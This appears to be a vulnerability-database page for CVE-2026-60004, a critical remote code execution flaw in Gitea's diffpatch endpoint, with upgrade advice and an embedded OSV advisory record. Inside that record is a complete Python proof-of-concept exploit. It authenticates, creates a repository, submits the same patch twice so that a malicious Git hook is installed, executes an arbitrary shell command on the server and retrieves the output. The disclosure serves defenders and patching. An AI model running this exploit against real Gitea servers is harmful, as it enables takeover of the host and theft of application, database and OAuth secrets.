CVE-2026-60004: Gitea Remote Code Execution Vulnerability
CRITICALCVE-2026-60004 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Gitea libraries in the Go ecosystem. The issue involves remote code execution via diffpatch git hook installation. Remediation is available by upgrading affected packages to version 1.27.1.
CVE-2026-60004 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-60004
To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade gitea.dev to 1.27.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for gitea.dev
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-60004, inspect your project dependencies for Gitea:
inspect dependencies for gitea.dev
Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-60004 Affected Gitea Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
gitea.dev
|
Go |
≥ 1.17.0
< 1.27.1
|
1.27.1
|
References
Frequently Asked Questions
What is CVE-2026-60004?
Which Gitea versions are affected?
What version fixes CVE-2026-60004?
Is gitea.dev affected?
What is the CVSS score of CVE-2026-60004?
What CWE is associated with CVE-2026-60004?
How can I check Go dependencies for CVE-2026-60004?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rcr6-4jqh-j84m",
"modified" : "2026-09-08T17:56:30Z",
"published" : "2026-09-08T17:56:30Z",
"aliases" : [ "CVE-2026-60004" ],
"summary" : "Gitea: Remote Code Execution via diffpatch Git Hook Installation",
"details" : "### Summary\n\nGitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content.\n\nAn attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.\n\n### Details\n\n`services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone:\n\n```go\ncmdApply := gitcmd.NewCommand(\"apply\", \"--index\", \"--recount\", \"--cached\", \"--binary\")\nif git.DefaultFeatures().CheckVersionAtLeast(\"2.32\") {\n cmdApply.AddArguments(\"-3\")\n}\n````\n\nSubmitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`.\n\nIn a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:\n\n```text\nhooks/post-index-change\n```\n\nbecomes a live Git hook.\n\nGit invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.\n\nThe hook's return value is not propagated to the `diffpatch` response.\n\nThe attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.\n\n### PoC\n\nThe supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository.\n\nSet the account password:\n\n```bash\nexport GITEA_PASSWORD='account-password'\n```\n\nExecute a command through the `diffpatch` chain:\n\n```bash\npython3 ./gitea_diffpatch_rce_poc.py \\\n https://gitea.example \\\n pocuser \\\n 'id; uname -srm; pwd'\n```\n\nThe script:\n\n* Creates an initialized private repository.\n* Submits the same executable-hook patch twice.\n* Fetches the result branch.\n* Prints the command's combined stdout, stderr, and exit status.\n* Prints the evidence repository, ref, and commit IDs to stderr.\n\nExpected output resembles:\n\n```text\nuid=1000(git) gid=1000(git) groups=1000(git)\nLinux ...\n/data/gitea/tmp/...\n\n[exit-status=0]\n```\n\nThe trigger requires:\n\n* Git 2.32 or newer.\n* An enabled `diffpatch` route.\n* A writable and executable temporary filesystem.\n\nOpen registration is required only for the no-prior-credentials attack path.\n\n### Impact\n\nThis is remote command execution as the Gitea service account (`CWE-94`).\n\nDepending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:\n\n* `app.ini` and Gitea application secrets.\n* Process environment secrets.\n* Mounted repositories.\n* Database credentials and database contents.\n* OAuth and integration credentials.\n* Other internal or externally reachable services.\n\nWith open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.\n\n\n<img width=\"928\" height=\"687\" alt=\"Screenshot 2026-07-25 at 14 45 44\" src=\"https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c\" />\n\n\n\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nGitea RCE PoC – authorized testing only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport base64\nimport getpass\nimport hashlib\nimport json\nimport os\nfrom pathlib import Path\n\nimport secrets\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\nfrom typing import Any\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nTIMEOUT = 30.0\nUSER_AGENT = \"gitea-rce-poc/2.0\"\n\n_RST = \"\\033[0m\"\n_DIM = \"\\033[2m\"\n_GRN = \"\\033[38;5;46m\" # bright green\n_RED = \"\\033[31m\" # red for errors\n\ndef _g(t: str) -> str: return f\"{_GRN}{t}{_RST}\"\ndef _r(t: str) -> str: return f\"{_RED}{t}{_RST}\"\ndef _d(t: str) -> str: return f\"{_DIM}{t}{_RST}\"\n\ndef log_star(msg: str) -> None: print(f\"{_g('[*]')} {_d(msg)}\")\ndef log_ok (msg: str) -> None: print(f\"{_g('[+]')} {_g(msg)}\")\ndef log_err (msg: str) -> None: print(f\"{_r('[-]')} {_r(msg)}\")\n\n\n_SEP = \" \" + \"═\" * 44\nBANNER = f\"{_SEP}\\n GITEA REMOTE CODE EXECUTION POC\\n{_SEP}\"\n\ndef print_banner(url: str, version: str | None = None,\n command: str | None = None) -> None:\n print()\n for line in BANNER.splitlines():\n print(_g(line))\n print()\n ver = version or \"unknown\"\n print(_g(\" \" + \"-\" * 54))\n print(_g(f\" Target : {url}\"))\n print(_g(f\" Version : {ver}\"))\n if command:\n print(_g(f\" Command : {command}\"))\n print(_g(\" \" + \"-\" * 54))\n print()\n\nclass PocError(RuntimeError):\n pass\n\nclass GiteaClient:\n def __init__(self, base_url: str, username: str, password: str) -> None:\n parsed = urllib.parse.urlsplit(base_url)\n if parsed.scheme not in {\"http\", \"https\"} or not parsed.netloc:\n raise PocError(\"URL must be an absolute http:// or https:// URL\")\n if parsed.query or parsed.fragment:\n raise PocError(\"URL must not contain a query string or fragment\")\n self.base_url = base_url.rstrip(\"/\")\n self.username = username\n self.password = password\n encoded = base64.b64encode(\n f\"{username}:{password}\".encode()\n ).decode(\"ascii\")\n self.authorization = f\"Basic {encoded}\"\n\n def api(\n self,\n method: str,\n path: str,\n payload: dict[str, Any] | None = None,\n ) -> tuple[int, Any]:\n data = None\n if payload is not None:\n data = json.dumps(payload, separators=(\",\", \":\")).encode()\n req = urllib.request.Request(\n self.base_url + path,\n data=data,\n method=method,\n headers={\n \"Accept\": \"application/json\",\n \"Authorization\": self.authorization,\n \"Content-Type\": \"application/json\",\n \"User-Agent\": USER_AGENT,\n },\n )\n try:\n with urllib.request.urlopen(req, timeout=TIMEOUT) as r:\n raw = r.read()\n return r.status, json.loads(raw) if raw else None\n except urllib.error.HTTPError as exc:\n body = exc.read().decode(\"utf-8\", errors=\"replace\")[:2_000]\n raise PocError(f\"{method} {path} → HTTP {exc.code}: {body}\") from exc\n except urllib.error.URLError as exc:\n raise PocError(f\"{method} {path} failed: {exc.reason}\") from exc\n except json.JSONDecodeError:\n raise PocError(f\"{method} {path} returned invalid JSON\")\n\ndef blob_oid(content: bytes) -> str:\n return hashlib.sha1(\n f\"blob {len(content)}\\0\".encode(\"ascii\") + content\n ).hexdigest()\n\ndef build_hook(command: str, leak_ref: str) -> bytes:\n qcmd = shlex.quote(command)\n qref = shlex.quote(f\"refs/heads/{leak_ref}\")\n return (\n \"#!/bin/sh\\n\"\n 'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n'\n 'origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\\n'\n 'case \"$origin_objects\" in\\n'\n ' /*) ;;\\n'\n ' *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\\n'\n \"esac\\n\"\n 'origin_git=${origin_objects%/objects}\\n'\n '[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\\n'\n f\"output_blob=$({{ /bin/sh -c {qcmd}; \"\n 'command_status=$?; printf \"\\\\n[exit-status=%s]\\\\n\" \"$command_status\"; } 2>&1 | '\n 'git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\\n'\n 'tree=$(printf \"100644 blob %s\\\\toutput\\\\n\" \"$output_blob\" | '\n 'git --git-dir=\"$origin_git\" mktree) || exit 5\\n'\n 'commit=$(printf \"command output\\\\n\" | '\n \"GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid \"\n \"GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid \"\n 'git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\\n'\n f'git --git-dir=\"$origin_git\" update-ref {qref} \"$commit\" || exit 7\\n'\n \"exit 0\\n\"\n ).encode()\n\ndef build_patch(hook: bytes) -> str:\n lc = hook.count(b\"\\n\")\n hdr = (\n \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\n\"\n \"new file mode 100755\\n\"\n f\"index {'0'*40}..{blob_oid(hook)}\\n\"\n \"--- /dev/null\\n\"\n \"+++ b/hooks/post-index-change\\n\"\n f\"@@ -0,0 +1,{lc} @@\\n\"\n ).encode()\n return (hdr + b\"\".join(b\"+\" + l for l in hook.splitlines(keepends=True))).decode()\n\ndef run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes:\n try:\n result = subprocess.run(\n [git, *arguments], env=env,\n stdin=subprocess.DEVNULL,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n check=False, timeout=TIMEOUT,\n )\n except subprocess.TimeoutExpired as exc:\n raise PocError(f\"git timed out after {TIMEOUT:g}s\") from exc\n except OSError as exc:\n raise PocError(f\"could not run git: {exc}\") from exc\n if result.returncode != 0:\n err = result.stderr.decode(\"utf-8\", errors=\"replace\")[:2_000].strip()\n raise PocError(f\"git exit {result.returncode}: {err}\")\n return result.stdout\n\ndef fetch_output(git: str, client: GiteaClient,\n owner: str, repo: str, leak_ref: str) -> bytes:\n remote = (\n f\"{client.base_url}/\"\n f\"{urllib.parse.quote(owner, safe='')}/\"\n f\"{urllib.parse.quote(repo, safe='')}.git\"\n )\n with tempfile.TemporaryDirectory(prefix=\"gitea-poc-\") as tmp:\n bare = Path(tmp) / \"fetch.git\"\n auth_cfg = Path(tmp) / \"auth.config\"\n fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)\n with os.fdopen(fd, \"w\", encoding=\"utf-8\") as f:\n f.write(f\"[http]\\n\\textraHeader = Authorization: {client.authorization}\\n\")\n env = {**os.environ, \"GIT_TERMINAL_PROMPT\": \"0\"}\n run_git(git, [\"init\", \"--bare\", \"--quiet\", str(bare)], env)\n run_git(git, [\n \"-C\", str(bare), \"-c\", f\"include.path={auth_cfg}\",\n \"fetch\", \"--quiet\", \"--no-tags\",\n remote, f\"refs/heads/{leak_ref}\",\n ], env)\n return run_git(git, [\"-C\", str(bare), \"show\", \"FETCH_HEAD:output\"], env)\n\ndef split_output(raw: bytes) -> tuple[str, int | None]:\n text = raw.decode(\"utf-8\", errors=\"replace\")\n lines = text.splitlines()\n status: int | None = None\n if lines:\n t = lines[-1].strip()\n if t.startswith(\"[exit-status=\") and t.endswith(\"]\"):\n try: status = int(t[len(\"[exit-status=\"):-1])\n except ValueError: pass\n else: lines.pop()\n return \"\\n\".join(lines).rstrip(\"\\n\"), status\n\n\ndef parse_args() -> argparse.Namespace:\n p = argparse.ArgumentParser(description=\"Gitea RCE PoC\")\n p.add_argument(\"url\", help=\"Gitea base URL\")\n p.add_argument(\"username\", help=\"existing Gitea username\")\n p.add_argument(\"command\", help=\"shell command to execute on target\")\n return p.parse_args()\n\n\ndef main() -> int:\n args = parse_args()\n if \"\\0\" in args.command:\n raise PocError(\"command must not contain a NUL character\")\n\n password = os.environ.get(\"GITEA_PASSWORD\") or getpass.getpass(\n _g(\"[?]\") + \" password: \"\n )\n if not password:\n raise PocError(\"password must not be empty\")\n\n git = shutil.which(\"git\")\n if git is None:\n raise PocError(\"git executable not found in PATH\")\n\n client = GiteaClient(args.url, args.username, password)\n\n # version probe (pre-banner)\n log_star(\"probing target...\")\n version: str | None = None\n try:\n r = urllib.request.Request(\n client.base_url + \"/api/v1/version\",\n headers={\"Accept\": \"application/json\", \"User-Agent\": USER_AGENT},\n )\n with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:\n version = json.loads(resp.read()).get(\"version\", \"unknown\")\n except Exception:\n version = \"unknown\"\n print_banner(client.base_url, version, args.command)\n\n log_star(f\"target={client.base_url} user={args.username} cmd={args.command}\")\n print()\n\n # step 1 – authenticate\n log_star(\"authenticating...\")\n sc, acct = client.api(\"GET\", \"/api/v1/user\")\n if sc != 200 or not isinstance(acct, dict):\n log_err(\"authentication failed\"); raise PocError(\"auth failed\")\n owner = acct.get(\"login\")\n if not isinstance(owner, str) or not owner:\n log_err(\"no login in response\"); raise PocError(\"no login\")\n log_ok(f\"logged in as {owner} ({version})\")\n\n # step 2 – create repo\n unique = secrets.token_hex(5)\n repo = f\"test-repo-{unique}\"\n leak_ref = f\"output-{unique}\"\n log_star(\"creating repository...\")\n sc, _ = client.api(\"POST\", \"/api/v1/user/repos\", {\n \"name\": repo, \"private\": True,\n \"auto_init\": True, \"default_branch\": \"main\",\n \"object_format_name\": \"sha1\",\n })\n if sc != 201:\n log_err(\"repo creation failed\"); raise PocError(\"repo creation failed\")\n log_ok(f\"created repo {owner}/{repo}\")\n\n # steps 3–4 – deliver payloads\n body = {\n \"content\": build_patch(build_hook(args.command, leak_ref)),\n \"message\": \"initial commit\",\n \"branch\": \"main\", \"new_branch\": \"main\",\n }\n ep = (\n f\"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/\"\n f\"{urllib.parse.quote(repo, safe='')}/diffpatch\"\n )\n commits: list[str] = []\n for cycle in (1, 2):\n log_star(f\"delivering payload {cycle}/2...\")\n sc, resp = client.api(\"POST\", ep, body)\n try:\n commit = resp[\"commit\"][\"sha\"]\n except (KeyError, TypeError) as exc:\n log_err(f\"payload {cycle}/2 rejected\")\n raise PocError(f\"cycle {cycle} no commit\") from exc\n if sc != 201:\n log_err(f\"payload {cycle}/2 failed\")\n raise PocError(f\"cycle {cycle} failed\")\n commits.append(commit)\n log_ok(f\"payload {cycle}/2 accepted commit={commit[:16]}\")\n\n # step 5 – retrieve output\n log_star(\"retrieving output...\")\n output = fetch_output(git, client, owner, repo, leak_ref)\n log_ok(\"operation complete\")\n\n # command output\n cmd_out, exit_status = split_output(output)\n print()\n log_ok(f\"{args.command}:\")\n print(_g(\"---\"))\n if cmd_out:\n for line in cmd_out.splitlines():\n print(_g(line))\n else:\n print(_d(\"<no output>\"))\n print(_g(\"---\"))\n if exit_status == 0:\n log_ok(f\"exit status: {exit_status}\")\n elif exit_status is None:\n log_star(\"exit status: unknown\")\n else:\n log_err(f\"exit status: {exit_status}\")\n\n return 0\n\n\nif __name__ == \"__main__\":\n try:\n raise SystemExit(main())\n except PocError as exc:\n log_err(str(exc))\n raise SystemExit(1) from None\n\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "gitea.dev"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.17.0"
}, {
"fixed" : "1.27.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-60004"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/pull/38637"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/pull/38638"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/commit/470d34b1de87d901bd9135564d5ee18c0d339e82"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/commit/d7bc52beeadff4be5f5690de4d5de42abd10affe"
}, {
"type" : "WEB",
"url" : "https://blog.gitea.com/release-of-1.27.1"
}, {
"type" : "WEB",
"url" : "https://github.com/0xBlackash/CVE-2026-60004"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/go-gitea/gitea"
}, {
"type" : "WEB",
"url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.1"
}, {
"type" : "WEB",
"url" : "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004"
}, {
"type" : "WEB",
"url" : "https://www.runzero.com/blog/gitea"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-08T17:56:30Z",
"nvd_published_at" : "2026-08-26T20:17:56Z"
}
}